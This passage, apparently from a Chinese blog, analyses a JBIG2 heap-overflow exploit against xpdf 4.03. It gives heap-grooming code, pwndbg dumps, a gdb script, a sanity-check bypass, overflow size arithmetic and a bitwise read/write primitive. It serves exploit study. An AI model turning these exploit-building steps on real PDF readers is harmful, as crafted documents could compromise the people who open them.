    通读代码,我们可以得知绝大多数 segments 在解析时,都可以让其 bitmap 与 pageBitmap 进行运算,并将结果保存在 pageBitmap 上。因此让 pageBitmap 拥有越界读写的能力是最好的选择。

我们先尝试在 global segment 中分配三个不同 Bitmap 大小的 SymbolDict 出来。这里分配不同大小的 SymbolDict 是为了后续在 TextRegionSeg 中,排列组合 size 至溢出,因此这三个堆块的位置不需要关心

1
2
3
4
5
6
# global segment
global_file = [
SymbolDict(0, [Bitmap(1, 1)] * 0x10000),
SymbolDict(1, [Bitmap(1, 1)] * (size_to_overflow // 8)),
SymbolDict(2, [Bitmap(1, 1)]),
]

其中 size_to_overflow 为上图中 overflow 的字节数,具体计算过程稍后介绍。

此时我们看看分配完这三个 SymbolDict 后的 bins 是什么情况,可以看到有大量的碎片堆块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
pwndbg> bins
tcachebins
0x20 [ 4]: 0x55555579f8e0 —▸ 0x5555557b9550 —▸ 0x5555557b0c10 —▸ 0x5555557b0c60 ◂— 0x0
0x30 [ 5]: 0x5555557ab330 —▸ 0x5555557b0c30 —▸ 0x5555557b0c80 —▸ 0x555555799280 —▸ 0x5555557992d0 ◂— 0x0
0x40 [ 7]: 0x5555557f7f90 —▸ 0x5555557f8f10 —▸ 0x5555557f9100 —▸ 0x5555557f7bb0 —▸ 0x5555557fe710 —▸ 0x5555557a0320 —▸ 0x555555797210 ◂— 0x0
0x50 [ 1]: 0x5555557a02b0 ◂— 0x0
0x60 [ 4]: 0x5555557ab3c0 —▸ 0x5555557a9e40 —▸ 0x5555557ab890 —▸ 0x5555557ab790 ◂— 0x0
0x70 [ 1]: 0x5555557ac760 ◂— 0x0
0x90 [ 1]: 0x5555557b94c0 ◂— 0x0
0xa0 [ 3]: 0x555555798e00 —▸ 0x5555557b6930 —▸ 0x5555557b6a10 ◂— 0x0
0xb0 [ 2]: 0x5555557ba520 —▸ 0x5555557b9410 ◂— 0x0
0xc0 [ 3]: 0x5555557bec00 —▸ 0x5555557bf620 —▸ 0x5555557b1220 ◂— 0x0
0xd0 [ 5]: 0x555555799ec0 —▸ 0x5555557b0cb0 —▸ 0x5555557c5400 —▸ 0x5555557c37f0 —▸ 0x5555557bfcf0 ◂— 0x0
0xe0 [ 3]: 0x5555557be4b0 —▸ 0x5555557a9a30 —▸ 0x5555557bc750 ◂— 0x0
0xf0 [ 3]: 0x5555557c6d30 —▸ 0x5555557bd370 —▸ 0x5555557bd4a0 ◂— 0x0
0x100 [ 2]: 0x5555557c4360 —▸ 0x5555557c44a0 ◂— 0x0
0x110 [ 1]: 0x555555797100 ◂— 0x0
0x120 [ 2]: 0x5555557c1000 —▸ 0x5555557c5880 ◂— 0x0
0x140 [ 3]: 0x5555557c7c80 —▸ 0x5555557c7430 —▸ 0x5555557cc180 ◂— 0x0
0x150 [ 3]: 0x5555557cdac0 —▸ 0x5555557c83f0 —▸ 0x5555557c8590 ◂— 0x0
0x160 [ 2]: 0x55555579fc00 —▸ 0x5555557a4420 ◂— 0x0
0x170 [ 3]: 0x555555797c20 —▸ 0x5555557d36c0 —▸ 0x5555557d3550 ◂— 0x0
0x180 [ 2]: 0x5555557bff50 —▸ 0x5555557d8010 ◂— 0x0
0x190 [ 7]: 0x5555557adb80 —▸ 0x5555557d8530 —▸ 0x5555557ad570 —▸ 0x5555557ac7d0 —▸ 0x5555557a8710 —▸ 0x5555557a8d60 —▸ 0x5555557aad00 ◂— 0x0
0x1a0 [ 2]: 0x5555557d2890 —▸ 0x5555557ad700 ◂— 0x0
0x1b0 [ 2]: 0x5555557a8ef0 —▸ 0x5555557aea50 ◂— 0x0
0x1c0 [ 2]: 0x5555557d1bb0 —▸ 0x55555579ad70 ◂— 0x0
0x1d0 [ 2]: 0x555555796b00 —▸ 0x555555796640 ◂— 0x0
0x1f0 [ 2]: 0x5555557a6410 —▸ 0x5555557a6220 ◂— 0x0
0x200 [ 2]: 0x55555576a670 —▸ 0x5555557aae90 ◂— 0x0
0x220 [ 2]: 0x5555557d8310 —▸ 0x5555557ac960 ◂— 0x0
0x230 [ 1]: 0x5555557bd980 ◂— 0x0
0x270 [ 1]: 0x5555557ba6d0 ◂— 0x0
0x2b0 [ 1]: 0x5555557abdc0 ◂— 0x0
0x2c0 [ 1]: 0x555555798320 ◂— 0x0
0x2e0 [ 1]: 0x5555557aa730 ◂— 0x0
0x300 [ 2]: 0x5555557a5c60 —▸ 0x5555557a9590 ◂— 0x0
0x310 [ 7]: 0x5555557ae510 —▸ 0x5555557ac110 —▸ 0x5555557ad010 —▸ 0x5555557abab0 —▸ 0x5555557a9280 —▸ 0x5555557aa420 —▸ 0x5555557a76c0 ◂— 0x0
0x320 [ 3]: 0x555555799f90 —▸ 0x5555557becc0 —▸ 0x5555557bab30 ◂— 0x0
0x350 [ 2]: 0x5555557bcb40 —▸ 0x5555557c3bd0 ◂— 0x0
0x390 [ 1]: 0x5555557a88a0 ◂— 0x0
0x3b0 [ 2]: 0x555555797250 —▸ 0x5555557a79d0 ◂— 0x0
0x3c0 [ 1]: 0x5555557d39d0 ◂— 0x0
0x3d0 [ 1]: 0x5555557cccc0 ◂— 0x0
0x400 [ 1]: 0x55555576aa50 ◂— 0x0
0x410 [ 3]: 0x555555797810 —▸ 0x5555557bf1d0 —▸ 0x5555557a7f90 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x5555558304b0 —▸ 0x7ffff7ad8c00 (main_arena+96) ◂— 0x5555558304b0
smallbins
0x20: 0x5555557a99e0 —▸ 0x7ffff7ad8c10 (main_arena+112) ◂— 0x5555557a99e0
0xb0: 0x5555557f82f0 —▸ 0x7ffff7ad8ca0 (main_arena+256) ◂— 0x5555557f82f0
0xf0: 0x5555557d0ab0 —▸ 0x7ffff7ad8ce0 (main_arena+320) ◂— 0x5555557d0ab0
0x120: 0x5555557992f0 —▸ 0x7ffff7ad8d10 (main_arena+368) ◂— 0x5555557992f0
0x190: 0x5555557f7df0 —▸ 0x5555557f8d70 —▸ 0x5555557f8f60 —▸ 0x5555557f7a10 —▸ 0x5555557fe570 ◂— ...
0x1c0 [corrupted]
FD: 0x5555557f1a30 —▸ 0x5555557f4780 —▸ 0x5555557d15f0 —▸ 0x5555557e49d0 —▸ 0x55555579ecf0 ◂— ...
BK: 0x5555557d0c90 —▸ 0x5555557d06f0 —▸ 0x5555557d1410 —▸ 0x5555557d0e70 —▸ 0x55555579e390 ◂— ...
0x1d0 [corrupted]
FD: 0x5555557f9910 —▸ 0x5555557f9720 —▸ 0x5555557f85b0 —▸ 0x5555557fe960 —▸ 0x5555557f66b0 ◂— ...
BK: 0x5555557f9530 —▸ 0x5555557f9150 —▸ 0x5555557fb050 —▸ 0x5555557fdd90 —▸ 0x5555557fd1e0 ◂— ...
0x1e0 [corrupted]
FD: 0x5555557a13c0 —▸ 0x5555557a0bc0 —▸ 0x5555557a11c0 —▸ 0x5555557a0570 —▸ 0x5555557a0770 ◂— ...
BK: 0x5555557fcbf0 —▸ 0x5555557fc9f0 —▸ 0x5555557fdb90 —▸ 0x5555557fe760 —▸ 0x5555557fc210 ◂— ...
0x1f0: 0x5555557ba930 —▸ 0x5555557f1120 —▸ 0x5555557d19b0 —▸ 0x5555557befd0 —▸ 0x7ffff7ad8de0 (main_arena+576) ◂— ...
0x200: 0x5555557a9b00 —▸ 0x5555557df570 —▸ 0x5555557a8500 —▸ 0x7ffff7ad8df0 (main_arena+592) ◂— 0x5555557a9b00
0x220 [corrupted]
FD: 0x5555557f3c20 —▸ 0x5555557ecce0 —▸ 0x5555557e8180 —▸ 0x5555557f57f0 —▸ 0x5555557ee5a0 ◂— ...
BK: 0x5555557f4540 —▸ 0x5555557f2130 —▸ 0x5555557f27e0 —▸ 0x5555557eec60 —▸ 0x5555557f2ea0 ◂— ...
0x230 [corrupted]
FD: 0x5555557ae810 —▸ 0x5555557f49d0 —▸ 0x5555557e2710 —▸ 0x5555557f4c20 —▸ 0x5555557a0970 ◂— ...
BK: 0x5555557f0a20 —▸ 0x5555557a23a0 —▸ 0x5555557e5a20 —▸ 0x5555557a3d20 —▸ 0x5555557a3f70 ◂— ...
0x240 [corrupted]
FD: 0x5555557f5590 —▸ 0x5555557f1330 —▸ 0x5555557e3730 —▸ 0x5555557f4e70 —▸ 0x5555557a1ef0 ◂— ...
BK: 0x5555557ec840 —▸ 0x5555557f50d0 —▸ 0x5555557a4660 —▸ 0x5555557e4090 —▸ 0x5555557f5330 ◂— ...
0x250: 0x55555579a760 —▸ 0x7ffff7ad8e40 (main_arena+672) ◂— 0x55555579a760
0x270 [corrupted]
FD: 0x5555557dd3a0 —▸ 0x5555557e1a10 —▸ 0x5555557e0810 —▸ 0x5555557e02e0 —▸ 0x5555557e0aa0 ◂— ...
BK: 0x5555557a54a0 —▸ 0x5555557a5210 —▸ 0x5555557e1f40 —▸ 0x5555557e0aa0 —▸ 0x5555557e02e0 ◂— ...
0x280 [corrupted]
FD: 0x5555557c7560 —▸ 0x5555557b0d70 —▸ 0x5555557e0570 —▸ 0x5555557df2d0 —▸ 0x5555557df810 ◂— ...
BK: 0x5555557e21d0 —▸ 0x5555557deaf0 —▸ 0x5555557df030 —▸ 0x5555557e2470 —▸ 0x5555557ded90 ◂— ...
0x290: 0x5555557acb70 —▸ 0x5555557ddb10 —▸ 0x5555557e0030 —▸ 0x5555557e1760 —▸ 0x5555557de5a0 ◂— ...
0x2a0: 0x5555557dfd70 —▸ 0x5555557dfab0 —▸ 0x7ffff7ad8e90 (main_arena+752) ◂— 0x5555557dfd70
0x2c0: 0x5555557a5f50 —▸ 0x5555557f5c90 —▸ 0x7ffff7ad8eb0 (main_arena+784) ◂— 0x5555557a5f50 /* 'P_zUUU' */
0x340: 0x5555557f5f70 —▸ 0x5555557ac410 —▸ 0x7ffff7ad8f30 (main_arena+912) ◂— 0x5555557f5f70
0x380: 0x5555557c69a0 —▸ 0x7ffff7ad8f70 (main_arena+976) ◂— 0x5555557c69a0
0x390: 0x5555557d7c70 —▸ 0x7ffff7ad8f80 (main_arena+992) ◂— 0x5555557d7c70 /* 'p|}UUU' */
0x3b0: 0x5555557c54c0 —▸ 0x7ffff7ad8fa0 (main_arena+1024) ◂— 0x5555557c54c0
0x3f0: 0x5555557bd580 —▸ 0x7ffff7ad8fe0 (main_arena+1088) ◂— 0x5555557bd580
largebins
0x580: 0x5555557cc2b0 —▸ 0x555555797d80 —▸ 0x7ffff7ad9050 (main_arena+1200) ◂— 0x5555557cc2b0
0x600: 0x5555557c7db0 —▸ 0x7ffff7ad9070 (main_arena+1232) ◂— 0x5555557c7db0
0x640: 0x5555557be580 —▸ 0x7ffff7ad9080 (main_arena+1248) ◂— 0x5555557be580
0x780: 0x5555557ea9f0 —▸ 0x5555557cb9e0 —▸ 0x7ffff7ad90d0 (main_arena+1328) ◂— 0x5555557ea9f0
0x800: 0x5555557985d0 —▸ 0x7ffff7ad90f0 (main_arena+1360) ◂— 0x5555557985d0
0x840: 0x5555557cdc00 —▸ 0x7ffff7ad9100 (main_arena+1376) ◂— 0x5555557cdc00
0x900: 0x5555557bdba0 —▸ 0x7ffff7ad9130 (main_arena+1424) ◂— 0x5555557bdba0
0x940: 0x5555557e77f0 —▸ 0x5555557e9b00 —▸ 0x7ffff7ad9140 (main_arena+1440) ◂— 0x5555557e77f0
0x980: 0x5555557d86b0 —▸ 0x5555557ebea0 —▸ 0x7ffff7ad9150 (main_arena+1456) ◂— 0x5555557d86b0
0x9c0: 0x555555795c40 —▸ 0x7ffff7ad9160 (main_arena+1472) ◂— 0x555555795c40 /* '@\\yUUU' */
0xa00: 0x5555557cd080 —▸ 0x7ffff7ad9170 (main_arena+1488) ◂— 0x5555557cd080
0xa40: 0x555555799440 —▸ 0x5555557d1e40 —▸ 0x7ffff7ad9180 (main_arena+1504) ◂— 0x555555799440
0xac0: 0x5555557e83c0 —▸ 0x5555557e6100 —▸ 0x7ffff7ad91a0 (main_arena+1536) ◂— 0x5555557e83c0
0xb00: 0x5555557d2a20 —▸ 0x7ffff7ad91b0 (main_arena+1552) ◂— 0x5555557d2a20 /* ' *}UUU' */
0xb40: 0x5555557e6c70 —▸ 0x5555557feb50 —▸ 0x7ffff7ad91c0 (main_arena+1568) ◂— 0x5555557e6c70 /* 'pl~UUU' */
0xc40: 0x5555557eb210 —▸ 0x5555557e8ea0 —▸ 0x7ffff7ad9200 (main_arena+1632) ◂— 0x5555557eb210
0xe00: 0x5555557c00c0 —▸ 0x5555557b9630 —▸ 0x5555557c4590 —▸ 0x7ffff7ad9210 (main_arena+1648) ◂— 0x5555557c00c0
0x1400: 0x5555557b5420 —▸ 0x7ffff7ad9240 (main_arena+1696) ◂— 0x5555557b5420 /* ' T{UUU' */
0x1600: 0x5555557ce770 —▸ 0x7ffff7ad9250 (main_arena+1712) ◂— 0x5555557ce770
0x1800: 0x5555557bae40 —▸ 0x7ffff7ad9260 (main_arena+1728) ◂— 0x5555557bae40
0x2600: 0x5555557b6aa0 —▸ 0x5555557c1110 —▸ 0x7ffff7ad92d0 (main_arena+1840) ◂— 0x5555557b6aa0
0x2a00: 0x55555579af20 —▸ 0x7ffff7ad92f0 (main_arena+1872) ◂— 0x55555579af20
0x3000: 0x5555557d3d80 —▸ 0x5555557d9b60 —▸ 0x5555557c88a0 —▸ 0x7ffff7ad9300 (main_arena+1888) ◂— 0x5555557d3d80

这些碎片堆块对于接下来的堆风水是相当不利的,因此需要将其全部分配掉。这里使用的是 PageInfoSeg 来分配内存,因为通读代码可以发现 JBIG2Stream::readPageInfoSeg 函数除了分配一个堆块以外,没有产生其他任何影响

1
2
3
4
5
6
7
8
9
10
11
def DummyAlloc(size):
return PageInfo(233, w=8, h=size)

global_file = [
SymbolDict(0, [Bitmap(1, 1)] * 0x10000),
SymbolDict(1, [Bitmap(1, 1)] * (size_to_overflow // 8)),
SymbolDict(2, [Bitmap(1, 1)]),
# Heap grooming: eat every chunk in {tcache,fast,small,large,unsorted} bins
[[DummyAlloc(size)] * 128 for size in range(0x10, 0x1000, 0x10)],
[[DummyAlloc(size)] * 16 for size in range(0x1000, 0x10000, 0x100)],
]

分配后的 bin 如下所示,可以看到清爽了不少:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
pwndbg> bins
tcachebins
empty
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x20 [corrupted]
FD: 0x55555579d9f0 —▸ 0x5555557d2860 —▸ 0x555555798db0 —▸ 0x5555557d7fe0 —▸ 0x5555557d7c30 ◂— ...
BK: 0x5555557f96e0 —▸ 0x5555557f9300 —▸ 0x5555557fb200 —▸ 0x5555557fdf40 —▸ 0x5555557fd390 ◂— ...
largebins
empty

那么接下来的问题是,如何设计堆风水?exploit 给了一个清晰明了的做法:

利用 global segment GList 满则扩增的特性创建堆空洞,进而让其他结构体来占据这些内存空洞,完成堆风水。

什么意思呢?我们看看 GList 的一些类方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
GList::GList() {
size = 8;
data = (void **)gmallocn(size, sizeof(void*));
length = 0;
inc = 0;
}

void GList::append(void *p) {
if (length >= size) {
expand();
}
data[length++] = p;
}

void GList::expand() {
size += (inc > 0) ? inc : size;
data = (void **)greallocn(data, size, sizeof(void*));
}

可以看到,初始时 GList size 为 8。当 GList 中元素个数超过容量时,GList 容量将会双倍扩增。也就是说,初始时的 size 为 8,下次扩增后的 size 是 16,再下次扩增后的 size 为 32,再下下次的 size 为 64(单位,个指针)。

扩增所使用的堆函数为 realloc,即当 GList 容量扩增后,原先那个堆块将被释放。同时又因为上面已经将其余全部小堆块全都分配出去了,因此 GList 容量扩增所分配的新堆块,一定来自于 top chunk,这就能保证每次 GList 容量扩张时,新堆块的分配顺序一定是从低地址向高地址分配

因此尝试让 global segment GList 多次扩展,从 8 扩展至我们所需要的最终大小 64:

代码中的 glist_capacity == 32。个人认为这个数表示的是第几次 append global GList 时会扩充 GList size 至 64

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
global_file = [
SymbolDict(0, [Bitmap(1, 1)] * 0x10000),
SymbolDict(1, [Bitmap(1, 1)] * (size_to_overflow // 8)),
SymbolDict(2, [Bitmap(1, 1)]),
# Heap grooming: eat every chunk in {tcache,fast,small,large,unsorted} bins
[[DummyAlloc(size)] * 128 for size in range(0x10, 0x1000, 0x10)],
[[DummyAlloc(size)] * 16 for size in range(0x1000, 0x10000, 0x100)],
# ------------ 开始尝试堆风水 ------------
[SymbolDict(i, []) for i in range(3, glist_capacity // 2)],
# Now most bins are empty, except tcachebin 0x20, 0x50 and small bin 0x20
# This triggers GList::expand(), 0x80 -> 0x100; allocates from top chunk
SymbolDict(glist_capacity // 2, []),
[SymbolDict(i, []) for i in range(glist_capacity // 2 + 1, glist_capacity)],
# 0x100 -> 0x200, the old chunk should fall in tcache
SymbolDict(100, []),
]

global segment 的堆风水执行结束后,其堆布局大致如下:

注意 segNum 从 3 开始的 Symbol Dict,其结构体所分配的堆块(chunk size = 0x40)也是直接来自于 top chunk 。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// low address --------------------------------------------
/*
一些其他的堆块分配,包括
1. size=8 的 global GList backing store
2. DummyAlloc
3. SymbolDict0、1、2
4. ...
*/
SymbolDict3-8;
size=16 的 global GList backing store 堆空洞
SymbolDict9-16;
size=32 的 global GList backing store 堆空洞
SymbolDict17-32;
size=64 的 global GList backing store // 最终的 GList data 堆位置,这里可不是堆空洞
// high address -------------------------------------------

接下来,只需分别

  • 让 pageBitmap backing store 占据 size=16 的 Glist 堆空洞

  • 让解析 TextRegion 时创建的 syms 指针数组占据 size=32 的 Glist 堆空洞

即可完成堆布局。

pageBitmap 的 JBIG2Bitmap 结构体堆位置在下文中将会说明。

最后贴个 gdb script,可以使用该 gdbscript 辅助观察内存布局:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
file ../../xpdf-4.03/build/xpdf/pdftohtml
aslr off
set follow-fork-mode parent

b readSymbolDictSeg if segNum==8
commands
printf "sakura in read symbol 8\n"

printf "globalSegments addr is:0x%llx\n", segments
printf "segments GList backing buffer\n"
p *(GList *)segments
# tcachebins
bins
# c
end
b readSymbolDictSeg if segNum==16
commands
printf "sakura in read symbol 16\n"

printf "globalSegments addr is:0x%llx\n", segments
printf "segments GList backing buffer\n"
p *(GList *)segments
# tcachebins
bins
# c
end
b readSymbolDictSeg if segNum==100
commands
printf "sakura in read symbol 32\n"

printf "globalSegments addr is:0x%llx\n", segments
printf "segments GList backing buffer\n"
p *(GList *)segments
# tcachebins
bins

tb JBIG2Stream.cc:1481
commands
printf "after finish globalSegments addr is:0x%llx\n", segments
p *(GList *)segments
# tcachebins
bins
end
# replace finish and print info
# c
end

b JBIG2Stream.cc:2072 if segNum==102
commands
printf "sakura in TextRegion to trigger oob\n"
printf "numSyms after underoverflow is:0x%llx\n", numSyms
set $oob_syms = $rax
printf "undersized syms buffer addr is:0x%llx\n", $oob_syms

printf "globalSegments addr is:0x%llx\n", globalSegments
printf "segments GList backing buffer\n"
p *(GList *)globalSegments

printf "pageBitmap addr is :0x%llx\n", pageBitmap
p *(JBIG2Bitmap *)pageBitmap
bins

end

r sploit.pdf output

b. 占据堆空洞

global stream 中的解析操作是为了创建堆空洞,那 main stream 的解析操作就是为了占据堆空洞。

承接上文,接下来我们试着分配一个全新的 pageBitmap 结构,并让其 backing store 占据 size=16 的 Glist 空洞:

代码中的 GLIST_DATA_SIZE = 0x200,表示 size=64 时 global glist data 占据的字节数。

1
2
3
4
5
6
page0 = [
# Make sure page bitmap buffer uses the second-last globalSegments data buffer so
# that it lies just before syms, at a fixed offset.
# GLIST_DATA_SIZE // 4,表示占据 size=16 时的 glist 堆空洞
PageInfo(101, w=8 * (GLIST_DATA_SIZE // 4), h=1),
]

此时堆布局如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// low address --------------------------------------------
/*
一些其他的堆块分配,包括
1. size=8 的 global GList backing store
2. DummyAlloc
3. SymbolDict0、1、2
4. ...
*/
SymbolDict3-8;

// 注意这里!
pageBitmap backing buffer // size=16 的 global GList backing store 堆空洞

SymbolDict9-16;

size=32 的 global GList backing store 堆空洞

SymbolDict17-32;

size=64 的 global GList backing store; // 最终的 GList data 堆位置,这里可不是堆空洞

// 注意这里!
pageBitmap JBIG2Bitmap; 结构体

// high address -------------------------------------------

这里简单说一下 pageBitmap 结构本身的堆块分配(JBIG2Bitmap),由于其 size 0x20 在堆链上找不到可分配的堆块,因此将仍然从 top chunk 中分配,故其地址位于 size=64 的 Glist 位置的高地址处,满足堆风水要求。

接下来需要在解析 TextRegion 时继续占用 size=32 的 Glist 堆空洞。因此 TextRegion 中创建的用户内存大小必须是 syms_size = GLIST_DATA_SIZE // 2,正好对应到 size=32 的 Glist 堆空洞大小。

但在做进一步的利用之前,我们需要绕过一个比较有趣的 sanity check

1
2
3
4
5
6
7
8
9
// sanity check: if the w/h/x/y values are way out of range, it likely
// indicates a damaged JBIG2 stream
if (w / 10 > pageW || h / 10 > pageH ||
x / 10 > pageW || y / 10 > pageH) {
error(errSyntaxError, getPos(),
"Bad size or position in JBIG2 text region segment");
done = gTrue;
return;
}

xpdf-4.03/xpdf/JBIG2Stream.cc 中多次出现上面的这种 sanity check,判断当前正在处理的 w\h\x\y 是否越过了当前的 pageW 和 pageH(两个 JBIG2Stream 类的成员变量,用于表示当前 page 的宽度和高度),如果越界则说明当前解析过程可能存在问题,那么则立即停止解析当前 segment。

看上去好像这个 sanity check 没啥问题…

但实际上,我们回过头看看 readPageInfoSeg 函数的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
void JBIG2Stream::readPageInfoSeg(Guint length)
{
Guint xRes, yRes, flags, striping;
// 从不受信任的流中直接读入 pageW 和 pageH
if (!readULong(&pageW) || !readULong(&pageH) ||
!readULong(&xRes) || !readULong(&yRes) ||
!readUByte(&flags) || !readUWord(&striping))
{
goto eofError;
}
// 如果 pageW 和 pageH 过大
if (pageW == 0 || pageH == 0 || pageW > INT_MAX / pageW)
{
// 则直接退出 pageInfoSeg 的解析
error(errSyntaxError, getPos(), "Bad page size in JBIG2 stream");
return;
}
[...]
}

我们可以非常容易的发现, 即便 readPageInfoSeg 函数中检测到了 pageWpageH 的异常,但也只是简单的退出掉当前 seg 的解析,保留了畸形 pageWpageH 的值在 JBIG2Stream 类成员中

这样,我们可以尝试插入一个超大 pageW 和 pageH 的 PageInfoSeg,从而污染这两个字段为超大值,bypass 后续所有新增加的 sanity check:

1
2
3
4
5
6
7
8
9
10
page0 = [
# Make sure page bitmap buffer uses the second-last globalSegments data buffer so
# that it lies just before syms, at a fixed offset.
PageInfo(101, w=8 * (GLIST_DATA_SIZE // 4), h=1),
# Change pageH and pageW to a large value to bypass a (seriously funny) sanity
# check introduced in Xpdf 4.03; Xpdf would report an error without allocating
# a new pageBitmap, but won't stop parsing the JBIG2 stream, which is exactly what
# we want.
PageInfo(101, w=1919114514, h=1919114514),
]

bypass 掉这个 sanity check 后,接下来就可以尝试创建 TextRegionSeg 来进行堆溢出了。承接上面所说的,这里所创建的 TextRegionSeg 需要满足几种要求:

  • 其内部创建的 syms 大小必须是 syms_size(这个值上面已经说明了)
  • 向堆块写入的数据大小为 size_to_overflow 个字节,即实际写 size_to_overflow // 8 个指针

因此接下来在 main stream 中,需要合理组合 TextRegion 所引用的 Symbol Dict 大小:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# Trigger the out-of-bound write.
TextRegion(
102,
w=1,
h=1,
x=0,
y=0,
# size_to_overflow // 8 个指针
ref_segs=[1]
# 0x10000 + (syms_size - size_to_overflow) // 8 个指针
+ [2] * (0x10000 + (syms_size - size_to_overflow) // 8)
# 共 0xffff0000 个指针
+ [0] * 0xFFFF,
),

上面代码的组合中,

$$size_to_overflow / 8 + {0x10000 + (syms_size - size_to_overflow) / 8} + 0xffff0000 = 0x100000000 + syms_size/8$$,即刚好分配 syms_size 个字节。

又因为先 ref 的那个 Symbol Dict 的大小为 size_to_overflow // 8 个指针。因此当 readTextRegion 解析第一个 ref 的 Symbol Dict 时,刚好向 syms 堆块中写入 size_to_overflow 个字节,直接溢出至 pageBitmap JBIG2Bitmap 结构体头部位置,如此便能达到溢出的目的。

这里说明一下 size_to_overflow 是怎么得出的,先上堆布局:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// low address --------------------------------------------
/*
一些其他的堆块分配,包括
1. size=8 的 global GList backing store
2. DummyAlloc
3. SymbolDict0、1、2
4. ...
*/
SymbolDict3-8;
pageBitmap backing buffer // size=16 的 global GList backing store 堆空洞
SymbolDict9-16;

// 从此处开始写入数据
syms // syms 的 size 为 syms_size
SymbolDict17-32; // 16 个 SymbolDict 的 size,一个 SymbolDict 的 size 为 0x40 字节
size=64 的 global GList backing store; // 此时的 Glist size 为 GLIST_DATA_SIZE
pageBitmap JBIG2Bitmap 结构体 // 这里还需要覆写 vtble + segNum + w + h + line,共24字节

// high address -------------------------------------------

根据堆布局可得知:

1
2
3
4
5
6
7
8
9
10
11
size_to_overflow = (
ptmalloc_chunk_size(syms_size)
# 40: sizeof(JBIG2SymbolDict); there are (glist_capacity // 2) irrelevant JBIG2SymbolDict-s
+ ptmalloc_chunk_size(40) * (glist_capacity // 2)
+ ptmalloc_chunk_size(GLIST_DATA_SIZE)
# Current page JBIG2Bitmap
# vtbl(8)
+ 8
# segNum(4), w(4), h(4), line(4)
+ 4 * 4
)

之后,将 readTextRegionSeg 中刚刚被释放掉的那个 syms_size 大小的堆块再次分配回来,防止在后续的利用中出现可能的崩溃。

1
2
# Take back the free-d syms, hold it to prevent potential crash.
GenericRegion(103, imm=False, bitmap=Bitmap(8, syms_size)),

由于越界写入 pageBitmap JBIG2Bitmap 结构体头部位置的是指针值,可以越界读写的数据有限,因此我们需要根据这个有限的 pageBitmap 越界读写原语,来自己修改自己的 JBIG2Bitmap 结构体头,将其中的 w\h\line 修改的更大,扩展自己的读写范围。根据上面的堆布局,同样可以得出 page_bitmap_bufpageBitmap JBIG2Bitmap 的距离:

1
2
3
4
5
6
7
page_bitmap_buf_to_class_offset = (
ptmalloc_chunk_size(GLIST_DATA_SIZE // 4)
+ ptmalloc_chunk_size(40) * (glist_capacity // 4)
+ size_to_overflow
- 4 * 4
- 8
)

之后将其 w\h\line 分别更改为 $w=2^{27}$、$h=2^{24}$、$line=2^{24}$:

imm 为 true 表示即时渲染,即立即修改 pageBitmap 上的指定位置。

1
2
3
4
5
6
7
8
9
10
# Overwrite pageBitmap->w, h and line
GenericRegion(
104,
x=(page_bitmap_buf_to_class_offset + 12) * 8,
y=0,
comb_op=CombOp.Replace,
# (x, y) -> mem[(y << 24) | (x >> 3)] >> (7 - (x & 7)), max 48-bit addressing
bitmap=Bitmap(struct.pack("<III", 2 ** 27, 2 ** 24, 2 ** 24)),
imm=True,
),

修改后的 pageBitmap 的二维空间构造:

1
2
3
4
5
6
7
8
+------------------> w=2^27 bit
|
|
|
|
|
|
V h=2^24 bit

最后创建带有 16 个 Bitmap 的 SymbolDict ,以备接下来的利用所使用:

1
2
3
4
# 16 "variables". Since we can only do bitwise operations relative to page bitmap
# with Refinement regions, we need these variables for peeking other absolute
# addresses, and also rebase the page bitmap in one segment command.
SymbolDict(105, [Bitmap(64, 1)] * 16)

这些 SymbolDict 将用于地址解引用原语中,具体在下面会详细介绍。

整体的堆风水布局大体如上所示。完成堆溢出后,pageBitmap 具备了大偏移读写的功能,因此接下来就要开始写原语利用了。

2. 位运算原语

还记得先前介绍的 GenericRefinementRegionSeg 么(不记得就翻到上面看看),接下来我们需要利用这个 seg 的特性来编写任意位的位运算器。

exploit 中实现的位运算器如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
class BitSeg:
_seq = itertools.count(10000)

def __init__(self, seg_num):
self.seg_num = seg_num
self.__consumed = False

def consume(self):
assert not self.__consumed
self.__consumed = True
return self.seg_num

@classmethod
def from_page(cls, offset):
x, y = offset % 2 ** 27, offset // 2 ** 27
idx = next(cls._seq)
page0.append(ReadoutRefinement(idx, x=x, y=y, imm=False))
return cls(idx)

class CombOp(enum.IntEnum):
Or = 0
And = 1
Xor = 2
Xnor = 3
Replace = 4

def bitop(oa, ob, op: CombOp):
b = BitSeg.from_page(ob)
x, y = oa % 2 ** 27, oa // 2 ** 27
page0.append(
ReadoutRefinement(65536, x=x, y=y, imm=True, ref=b.consume(), comb_op=op)
)

原语 bitopoaob 两个参数的单位为 bitop 有 5 种。

bitop 原语初始时将一维偏移量 oa、ob 分别映射至 bitmap 的二维偏移量 xy1、xy2,之后在解析 ob 对应的 RefinementRegionSeg 时,从 pageBitmap 中取出对应 xy2 的数据,并将其存入 segments 中。

